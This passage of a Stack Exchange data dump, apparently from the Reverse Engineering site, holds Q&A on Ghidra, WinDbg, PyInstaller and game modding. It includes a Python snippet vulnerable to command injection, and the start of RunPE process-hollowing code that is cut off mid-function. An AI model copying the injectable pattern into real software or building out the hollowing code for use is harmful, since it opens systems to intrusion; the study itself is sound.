  <row Id="26058" PostTypeId="1" AcceptedAnswerId="26062" CreationDate="2020-10-05T10:50:06.270" Score="1" ViewCount="344" Body="&lt;p&gt;Is there a way to access the call string of a CALLOTHER Pcode instruction when iterating over the Pcode in Java? The listing below shows an example of what I mean:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;048&#xA;                             LAB_0001b034                                    XREF[1]:     0001b024(j)  &#xA;        0001b034 36 7f ff e6     rbit       r7,r6&#xA;                                                      r7 = CALLOTHER &amp;quot;ReverseBitOrder&amp;quot;, r6&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In this example, I'd like to get the string &amp;quot;ReverseBitOrder&amp;quot;. &lt;br/&gt;&#xA;Unfortunately, there is no hint in the instruction info except for this input object:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;const:0x3c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which does not translate into the given string and I also cannot click on the string to find a location in memory.&#xA;I also looked through the API docs of Pcode, Instruction etc., but did not find anything useful.&lt;/p&gt;&#xA;" OwnerUserId="34588" LastEditorUserId="30695" LastEditDate="2020-10-12T07:52:19.303" LastActivityDate="2020-10-12T07:52:19.303" Title="Accessing Call String of CALLOTHER Pcode Instruction via Java API?" Tags="|ghidra|java|api|call|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26059" PostTypeId="2" ParentId="26057" CreationDate="2020-10-05T10:53:30.913" Score="1" Body="&lt;p&gt;Run the debug server as admin, this should be enough.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-10-05T10:53:30.913" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26060" PostTypeId="1" CreationDate="2020-10-05T11:06:15.713" Score="4" ViewCount="451" Body="&lt;p&gt;The situation is the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Binary file of a computer game from the 1980s. The binary file ran on a platform that doesn't exist anymore (not x86).&lt;/li&gt;&#xA;&lt;li&gt;The binary file does not contain any symbols or debug information&lt;/li&gt;&#xA;&lt;li&gt;Manual decompilation of the binary file into human readable source code, giving meaningful names to variables, adding comments, etc. (i.e. not just running a disassembler over the binary)&lt;/li&gt;&#xA;&lt;li&gt;Not possible to find the original authors and ask for permission (company doesn't exist anymore), hence my question here.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;My question:&lt;/p&gt;&#xA;&lt;p&gt;What is the legal situation in USA and EU regarding &lt;strong&gt;publication&lt;/strong&gt; of the reverse-engineered source code, e.g. on github? I suppose the art work (gfx and sound) is protected, but what about the source code itself? I see that the reverse-engineered source code of the old Pokemon games has been online for many years, same for the C64 kernal and the Amiga microkernel (exec), but that doesn't mean of course that it is legal to do so.&lt;/p&gt;&#xA;&lt;p&gt;Note: There have been already a couple of questions on the legal aspects of reverse engineering here, but none of them fits my situation. For example&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14597/legal-risks-of-retro-engineering-a-19-years-old-game&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/60/is-reverse-engineering-and-using-parts-of-a-closed-source-application-legal&quot;&gt;here&lt;/a&gt;, or &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13439/are-the-eu-laws-preventing-reverse-engineering-of-software-products&quot;&gt;here&lt;/a&gt;.&#xA;Most of the existing questions are about using reverse-engineered code in your own code. This is not the case here.&lt;/p&gt;&#xA;" OwnerUserId="34023" LastActivityDate="2021-06-27T01:11:28.867" Title="Legality of publishing decompiled code" Tags="|disassembly|decompilation|law|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26061" PostTypeId="1" AcceptedAnswerId="26127" CreationDate="2020-10-05T14:09:34.620" Score="0" ViewCount="294" Body="&lt;p&gt;My question is theoretical, and not bound to python - but for the sake of simplicity, I'll use Python code snippet.&lt;/p&gt;&#xA;&lt;p&gt;Let's assume I have the following code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import sys&#xA;&#xA;if os.path.exist(sys.argv[1]):&#xA;    os.system(f&amp;quot;echo {sys.argv[1]}&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there a way to do a command injection attack in the scenario when the unsanitized input is a path to a valid file?&lt;/p&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="31278" LastEditDate="2020-10-05T14:16:45.380" LastActivityDate="2020-10-18T17:18:47.817" Title="Is command injection using a valid file path possible?" Tags="|python|injection|command-line|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26062" PostTypeId="2" ParentId="26058" CreationDate="2020-10-05T16:04:07.447" Score="1" Body="&lt;p&gt;There is a ghidra_script that current does this, see &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Base/ghidra_scripts/MarkCallOtherPcode.java&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Base/ghidra_scripts/MarkCallOtherPcode.java&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;basically:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;op = getInstructionAt(toAddr(0x1b034)).getPcode()[0]&#xA;currentProgram.getLanguage().getUserDefinedOpName(op.getInput(0).getOffset()))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30695" LastActivityDate="2020-10-05T16:04:07.447" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26064" PostTypeId="2" ParentId="26040" CreationDate="2020-10-06T04:39:28.610" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.chzsoft.de/site/hardware/reverse-engineering-a-wifi-microscope/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This person&lt;/a&gt; has a microscope with apparently an identical WiFi camera module and detailed his reverse engineering efforts. It turns out the first 1450 byte packet has a short header followed by the bytes to begin a jpeg image, and the end of variable-length packet ends the jpeg image. Concatenating all the packets and stripping the header gives the data for a jpeg.&lt;/p&gt;&#xA;" OwnerUserId="34571" LastActivityDate="2020-10-06T04:39:28.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26065" PostTypeId="1" CreationDate="2020-10-06T04:44:18.713" Score="2" ViewCount="9554" Body="&lt;p&gt;I am reverse engineering a very old game and when I load up the executable in Ghidra, I see a handful of imported dlls&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3VRH4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3VRH4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I do however not see one of the DLLs the game uses to wrap various client rendering Direct X 7 calls. I have loaded (and analyzed the separate dll) but can't seem to figure out how I can get the game exe to recognize the dll. My hope is (because the DLL has function names that I can see via Dependency Walker), that I can see the calls by name to the DLL. I am able to see them via ollydbg (possibly because the game is running).&lt;/p&gt;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/22044&quot;&gt;this post&lt;/a&gt; here which looks relevant.&lt;/p&gt;&#xA;&lt;p&gt;I do not see the &lt;code&gt;EXTERNAL&lt;/code&gt; identifier, but instead something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;iVar3 = (*(code *)FLOAT_006e5188)(param_1[1],iVar3,&amp;amp;local_24);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a function pointer pointing towards the function in the DLL. How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="34592" LastEditorUserId="245" LastEditDate="2020-10-07T09:49:28.890" LastActivityDate="2021-04-01T23:05:15.427" Title="Getting Ghidra project to recognize referenced DLL" Tags="|dll|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26066" PostTypeId="1" CreationDate="2020-10-06T05:51:11.233" Score="1" ViewCount="99" Body="&lt;p&gt;My choice of words in the title might be poor, I apologize: english is not my primary language and I have no idea how to word it better.&lt;/p&gt;&#xA;&lt;p&gt;I have a game executable to which I applied several changes, changes can be small replacements of integer values here and there, but also jumps to code caves, as well as adding a new section where I could put longer pieces of code.&lt;/p&gt;&#xA;&lt;p&gt;It is essentially a mod, and I'd like to distribute it without worrying about legality; so in short I'd like to avoid distributing the whole executable and just put all of my changes inside something like a DLL. I have no experience in writing a DLL, but what I understand is that I should be able to compile functions inside the DLL then somehow call them from the executable, and my hope would be that I don't need to modify the executable itself. Can someone confirm this?&lt;/p&gt;&#xA;&lt;p&gt;So my understanding is that for every change I made in my mod, I should copy the whole functions that contains the changes (available to me as assembly only), then I probably should compile them in the DLL.&lt;/p&gt;&#xA;&lt;p&gt;Would that be a good way to go about it?&lt;/p&gt;&#xA;" OwnerUserId="34134" LastActivityDate="2020-10-06T23:02:55.263" Title="How do you recommend going for applying minor changes in an executable through a dll?" Tags="|assembly|dll|game-hacking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26067" PostTypeId="2" ParentId="25330" CreationDate="2020-10-06T11:00:33.963" Score="0" Body="&lt;p&gt;The file header once decoded shows that your wav file is over 320Mb. (the 4 bytes after &amp;quot;data&amp;quot;)&lt;br&gt;&#xA;The key changes every 512 bytes, so if they are set in advance you would need 625520 stored keys. This is of course very unlikely.&lt;br&gt;&#xA;I think only the first key is frozen, the others can be just the XOR of the first 2 bytes of each group of 512 bytes.&lt;br&gt;&#xA;To verify it would require a greater number of data, at least 1Mb, or better the complete zipped file.&lt;/p&gt;&#xA;" OwnerUserId="34077" LastActivityDate="2020-10-06T11:00:33.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26069" PostTypeId="2" ParentId="25102" CreationDate="2020-10-06T13:16:38.033" Score="1" Body="&lt;p&gt;Something this should work for &lt;code&gt;ptvsd&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        {&#xA;            &amp;quot;name&amp;quot;: &amp;quot;Python: Remote Attach&amp;quot;,&#xA;            &amp;quot;type&amp;quot;: &amp;quot;python&amp;quot;,&#xA;            &amp;quot;request&amp;quot;: &amp;quot;attach&amp;quot;,&#xA;            &amp;quot;debugServer&amp;quot;: 5678,&#xA;            &amp;quot;showReturnValue&amp;quot;: true,&#xA;            &amp;quot;internalConsoleOptions&amp;quot;: &amp;quot;openOnSessionStart&amp;quot;,&#xA;            &amp;quot;redirectOutput&amp;quot;: true,&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You may need to insert an explicit &lt;code&gt;breakpoint()&lt;/code&gt; in the code.&lt;/p&gt;&#xA;&lt;p&gt;For IntelliSense in VSCode there's &lt;code&gt;PYTHONPATH&lt;/code&gt; or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;quot;python.autoComplete.extraPaths&amp;quot;: [&#xA;        &amp;quot;...&amp;quot;&#xA;    ],&#xA;    &amp;quot;python.analysis.extraPaths&amp;quot;: [&#xA;        &amp;quot;...&amp;quot;&#xA;    ],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26077" LastActivityDate="2020-10-06T13:16:38.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26070" PostTypeId="1" CreationDate="2020-10-06T14:07:20.753" Score="2" ViewCount="1029" Body="&lt;p&gt;I am debugging a kernel driver. When I set a breakpoint with WinDBG in one of its functions but it doesn't complete the function names while on IDA it shows the names (statically).&lt;/p&gt;&#xA;&lt;p&gt;Here is a picture of IDA (with the name of the last three functions) and on the right, WinDBG without the name:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/g5nUg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g5nUg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I read about similar issue &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8354/why-doesnt-windbg-resolve-the-function-names&quot;&gt;Why doesn&amp;#39;t WinDbg resolve the function names?&lt;/a&gt; and I tried the &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/8547/18080&quot;&gt;suggestion&lt;/a&gt; by running:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.symfix C:\debug\symbols&#xA;.sympath+ C:\debug\mypdbs&#xA;.reload /f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I re-opened the disassembly window and I still don't see the function names.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT (answer to questions):&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Windbg Preview version:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;Debugger client version: 1.0.2007.06001  &#xA;Debugger engine version: 10.0.20153.1000  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;OS version of the guest: &lt;code&gt;Windows 10 x64 1909 (OS Build 18363.1082)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Output of &lt;code&gt;lm m cfs&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; lm m cfs&#xA;Browse full module list&#xA;start             end                 module name&#xA;fffff800`2abd0000 fffff800`2abd0c00   cfs        (no symbols)    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;The symbol path is set up with:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;SRV*c:\symbols*https://msdl.microsoft.com/download/symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So I think it is loaded although in section 3 it wrote &amp;quot;no symbols&amp;quot;.&lt;br /&gt;&#xA;I also run &lt;code&gt;.reload /f&lt;/code&gt; but it didn't help.&lt;/p&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Yes it works but only if I set breakpoint on the call itself:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; u fffff802`504a6460&#xA;nt!RtlInitUnicodeString:&#xA;fffff802`504a6460 48c70100000000  mov     qword ptr [rcx],0&#xA;fffff802`504a6467 48895108        mov     qword ptr [rcx+8],rdx&#xA;fffff802`504a646b 4885d2          test    rdx,rdx&#xA;fffff802`504a646e 7501            jne     nt!RtlInitUnicodeString+0x11 (fffff802`504a6471)&#xA;fffff802`504a6470 c3              ret&#xA;fffff802`504a6471 48c7c0ffffffff  mov     rax,0FFFFFFFFFFFFFFFFh&#xA;fffff802`504a6478 0f1f840000000000 nop     dword ptr [rax+rax]&#xA;fffff802`504a6480 48ffc0          inc     rax&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can see that it resolve the name &lt;code&gt;nt!RtlInitUnicodeString&lt;/code&gt; but only once it hit the breakpoint, you can see that it didn't resolve the two next instructions:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2sRwF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2sRwF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;6.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ln fffff802`504a6460&#xA;Browse module&#xA;Set bu breakpoint&#xA;&#xA;(fffff802`504a6460)   nt!RtlInitUnicodeString   |  (fffff802`504a64b0)   nt!KeEnterCriticalRegion&#xA;Exact matches:&#xA;    nt!RtlInitUnicodeString (void)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;They are being downloaded dynmaically:&lt;/p&gt;&#xA;&lt;p&gt;SRV&lt;em&gt;c:\symbols&lt;/em&gt;&lt;a href=&quot;https://msdl.microsoft.com/download/symbols&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdl.microsoft.com/download/symbols&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In the environment varible I have it set:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;_NT_SYMBOL_PATH&#xA;SRV*c:\symbols*https://msdl.microsoft.com/download/symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;8&quot;&gt;&#xA;&lt;li&gt;I am not sure what you mean, there are lots of modules, I need to go to each module and pass it?&lt;br /&gt;&#xA;Not sure how to do it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18080" LastEditorUserId="18080" LastEditDate="2020-10-07T11:13:12.510" LastActivityDate="2020-10-07T14:01:21.217" Title="WinDBG doesn't resolve function names when debugging kernel module" Tags="|ida|windbg|driver|debugging-symbols|kernel|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26071" PostTypeId="1" CreationDate="2020-10-06T15:39:02.523" Score="0" ViewCount="215" Body="&lt;p&gt;I'm trying to catch small fragment of screen during working some Android app which I'm currently reversing. I've tried screencap with various calls but minimum latency which I was able to achieve was 0.8s. I would like to go below 0.1s to get at least 10 FPS. For me it's enough to develop small bin tool in android native code which I'll push on the phone and then run via adb shell.&lt;/p&gt;&#xA;&lt;p&gt;I've digged a little into screencap.cpp source code and found following callstack:&#xA;screencap -&amp;gt; ScreenshotClient::update -&amp;gt; ComposerService-&amp;gt;captureScreen -&amp;gt; remote()-&amp;gt;transact&lt;/p&gt;&#xA;&lt;p&gt;Anyway any useful include in sources above are not visible anywhere in android ndk.&lt;/p&gt;&#xA;&lt;p&gt;Does anybody good in native android code could give me any advice which ndk lib/include can return current screen buffer? I've tried to get buffer from /dev/graphics/fb0 but it's blocked in my phone.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="34593" LastActivityDate="2020-10-06T15:39:02.523" Title="Android - capture screen with the lowest latency via android native code" Tags="|android|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26072" PostTypeId="1" CreationDate="2020-10-06T19:36:09.037" Score="1" ViewCount="1645" Body="&lt;p&gt;I successfully recovered some PYC files from an ELF built by PyInstaller (&lt;a href=&quot;https://github.com/extremecoders-re/pyinstxtractor/wiki/Extracting-Linux-ELF-binaries&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/extremecoders-re/pyinstxtractor/wiki/Extracting-Linux-ELF-binaries&lt;/a&gt;). There is a PYZ archive in the dump. I tried to use pyi-archive_viewer to open and/or extract some modules from the PYZ. I receive an AttributeError &amp;quot;ZlibArchive object has no attribute open openEmbedded.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;The error occurs on line 134 of the source (&lt;a href=&quot;https://github.com/pyinstaller/pyinstaller/blob/develop/PyInstaller/utils/cliutils/archive_viewer.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/pyinstaller/pyinstaller/blob/develop/PyInstaller/utils/cliutils/archive_viewer.py&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;I believe something is incorrectly parsed/output during extraction...? Has anyone else seen this?&lt;/p&gt;&#xA;" OwnerUserId="30764" LastActivityDate="2023-12-23T10:07:35.913" Title="Extract PYZ Error" Tags="|decompilation|elf|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26073" PostTypeId="2" ParentId="26072" CreationDate="2020-10-06T20:23:17.063" Score="0" Body="&lt;p&gt;For anyone else this happens to... Ensure you use the same Python version as the original author.&lt;/p&gt;&#xA;&lt;p&gt;That is, I originally created the ELF with Python 3.7. But I tried the reversing process on a different machine - with Python 3.8. Learn from my mistake!&lt;/p&gt;&#xA;" OwnerUserId="30764" LastActivityDate="2020-10-06T20:23:17.063" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26074" PostTypeId="2" ParentId="26066" CreationDate="2020-10-06T23:02:55.263" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;I have no experience in writing a DLL, but what I understand is that I should be able to compile functions inside the DLL then somehow call them from the executable, and my hope would be that I don't need to modify the executable itself. Can someone confirm this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is correct.&#xA;Check out &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/dlls/dllmain&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/dlls/dllmain&lt;/a&gt;, common thing to do is making a new thread (CreateThread) in the process on DLL_PROCESS_ATTACH, or hook a game function.&lt;/p&gt;&#xA;" OwnerUserId="34597" LastActivityDate="2020-10-06T23:02:55.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26075" PostTypeId="2" ParentId="26044" CreationDate="2020-10-07T00:33:18.200" Score="1" Body="&lt;p&gt;It's may be worth checking out writing dissectors for Wireshark. &lt;a href=&quot;https://mika-s.github.io/wireshark/lua/dissector/2017/11/04/creating-a-wireshark-dissector-in-lua-1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;This is a good tutorial using Lua&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18563" LastActivityDate="2020-10-07T00:33:18.200" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26076" PostTypeId="1" CreationDate="2020-10-07T01:34:34.520" Score="3" ViewCount="143" Body="&lt;p&gt;I am confused by what the following command is doing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00401234  mov     dword [esp+0x35], sub_408678&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For context, I'm reversing a piece of malware and am using Binary Ninja, which to my knowledge typically uses the following syntax for low level IL commands:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov    dest, src&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is the first command executing the subroutine specified in the &lt;code&gt;src&lt;/code&gt; parameter (sub_408678) and storing the result of that command in [esp + 35]? Or just moving the address for later use? I have never seen this syntax before, I'm wondering if someone else has seen a program do this / can tell me what the purpose of writing it this way is. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="34598" LastActivityDate="2020-10-07T14:43:06.220" Title="Confusing syntax found in malware" Tags="|binary-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26077" PostTypeId="2" ParentId="26070" CreationDate="2020-10-07T05:17:10.670" Score="1" Body="&lt;p&gt;these should be comments but it grew up&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;what is the windbg version ?&lt;/li&gt;&#xA;&lt;li&gt;what is the os version ?&lt;/li&gt;&#xA;&lt;li&gt;what is the output of &lt;code&gt;lm m &amp;quot;your specific Module&amp;quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;are the symbols loaded for your Module ?&lt;/li&gt;&#xA;&lt;li&gt;have you tried disassembling with &lt;code&gt;u &amp;lt;address&amp;gt;&lt;/code&gt; in command window as it appears you are looking at Disassembly Window&lt;/li&gt;&#xA;&lt;li&gt;did you try &lt;code&gt;ln &amp;lt;address&amp;gt;&lt;/code&gt; to list the nearest symbol ?&lt;/li&gt;&#xA;&lt;li&gt;are symbols for os modules being downloaded dynamically using symbol server or are they already available in the sympath you give viz c:\debug\symbols&lt;/li&gt;&#xA;&lt;li&gt;if you are downloading os symbols using _NT_SYMBOL_PATH env var&#xA;have you tried adding this modules pdb  in that path&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;&#xA;further queries upon edit by OP&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;lm m pattern shows no symbols&lt;br /&gt;&#xA;so it means the symbols for your specific module is not is not loaded.&lt;/p&gt;&#xA;&lt;p&gt;here is an output for avast antivirus modules&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; lm m aswh*&#xA;start    end        module name&#xA;67670000 67680000   aswhook    (no symbols)&#xA;kd&amp;gt; x aswhook!*&#xA;kd&amp;gt; lm m aswAr*&#xA;start    end        module name&#xA;89563000 8956b000   aswArDisk   (export symbols)       aswArDisk.sys&#xA;8f580000 8f5bd000   aswArPot   (no symbols)&#xA;kd&amp;gt; x aswar*!a&#xA;kd&amp;gt; x aswar*!a*&#xA;89564810          aswArDisk!ArDiskRegisterCallback (&amp;lt;no parameter info&amp;gt;)&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so check if you have the cfs.pdb&#xA;it may happen that you have cfs.pdb but it is mismatched and windbg refuses to load it  (you can override this behavior if needed with .symopt+)&lt;/p&gt;&#xA;&lt;p&gt;turn on noisy symbol loading and try loading the symbols again&#xA;you may get some clues&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !sym noisy&#xA;noisy mode - symbol prompts off&#xA;&#xA;kd&amp;gt; .reload /f aswh*&#xA;SYMSRV:  BYINDEX: 0x4E1&#xA;         e:\symbols*http://msdl.microsoft.com/download/symbols&#xA;         aswhook.pdb&#xA;         0213A2A553DE465F9D36B7374431DBF61&#xA;SYMSRV:  UNC: e:\symbols\aswhook.pdb\0213A2A553DE465F9D36B7374431DBF61\aswhook.pdb - path not found&#xA;SYMSRV:  UNC: e:\symbols\aswhook.pdb\0213A2A553DE465F9D36B7374431DBF61\aswhook.pd_ - path not found&#xA;SYMSRV:  UNC: e:\symbols\aswhook.pdb\0213A2A553DE465F9D36B7374431DBF61\file.ptr - path not found&#xA;SYMSRV:  HTTPGET: /download/symbols/aswhook.pdb/0213A2A553DE465F9D36B7374431DBF61/aswhook.pdb&#xA;SYMSRV:  HttpQueryInfo: 80190194 - HTTP_STATUS_NOT_FOUND&#xA;SYMSRV:  HTTPGET: /download/symbols/aswhook.pdb/0213A2A553DE465F9D36B7374431DBF61/aswhook.pd_&#xA;SYMSRV:  HttpQueryInfo: 80190194 - HTTP_STATUS_NOT_FOUND&#xA;SYMSRV:  HTTPGET: /download/symbols/aswhook.pdb/0213A2A553DE465F9D36B7374431DBF61/file.ptr&#xA;SYMSRV:  HttpQueryInfo: 80190194 - HTTP_STATUS_NOT_FOUND&#xA;SYMSRV:  RESULT: 0x80190194&#xA;DBGHELP: D:\BUILD\work\01\e690e03dcc42bde1\idp\build\avgast\RU_NTDLL-lH-Y2A!Win32_vs141\bin\Release_Unicode_NTDLL_vs141\Win32\aswhook.pdb - file not found&#xA;DBGHELP: aswhook - no symbols loaded&#xA;WARNING: .reload failed, module list may be incomplete&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;as to adding your pdb to _NT_SYMBOL_PATH read about symstore documentation you dont have to add all modules&#xA;add only the specific module for which you have pdb but windbg cant find it due to various reasons (main reason being a hardcoded path to pdb in Debug Directories) which of course wont exist in your machine&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Debug Directories(4)&#xA;        Type       Size     Address  Pointer&#xA;        cv           99        879c     7b9c    Format: RSDS, guid, 1, D:\BUILD\work\01\e690e03dcc42bde1\idp\build\avgast\RU_NTDLL-lH-Y2A!Win32_vs141\bin\Release_Unicode_NTDLL_vs141\Win32\aswhook.pdb&#xA;        (    12)      14        8838     7c38&#xA;        (    13)     1d0        884c     7c4c&#xA;        (    14)       0           0        0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-10-07T14:01:21.217" LastActivityDate="2020-10-07T14:01:21.217" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26078" PostTypeId="1" AcceptedAnswerId="26082" CreationDate="2020-10-07T06:55:55.917" Score="-1" ViewCount="112" Body="&lt;p&gt;I'm trying to use RunPE technique (For learning).&lt;/p&gt;&#xA;&lt;p&gt;First, I tried it on Windows XP(32-bit) and no error occurs but, the injected code for(HelloWorld) didn't run.&lt;/p&gt;&#xA;&lt;p&gt;Then, I tried to use it on Windows 7 and 10 (64-bit) and get this error[0xc00000005] when the thread resumed.&#xA;Why I get this error and why the injected code didn't run on the XP machine?&lt;/p&gt;&#xA;&lt;p&gt;I tried also to unmap the imagebase(0x00400000) but I had the same problem.&lt;/p&gt;&#xA;&lt;p&gt;my code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int runPe(void* image) {&#xA;&#xA;IMAGE_DOS_HEADER* dosHeader;&#xA;IMAGE_NT_HEADERS* ntHeader;&#xA;IMAGE_SECTION_HEADER* sectionHeader;&#xA;CONTEXT* ctx;&#xA;&#xA;PROCESS_INFORMATION pinfo;&#xA;STARTUPINFO sinfo;&#xA;&#xA;&#xA;int i;&#xA;DWORD* ImageBase = NULL;&#xA;void* pImage = NULL;&#xA;char currentpath[1024];&#xA;&#xA;GetModuleFileNameA(0, currentpath, 1024);       //path to the current exe&#xA;&#xA;//Identifying the 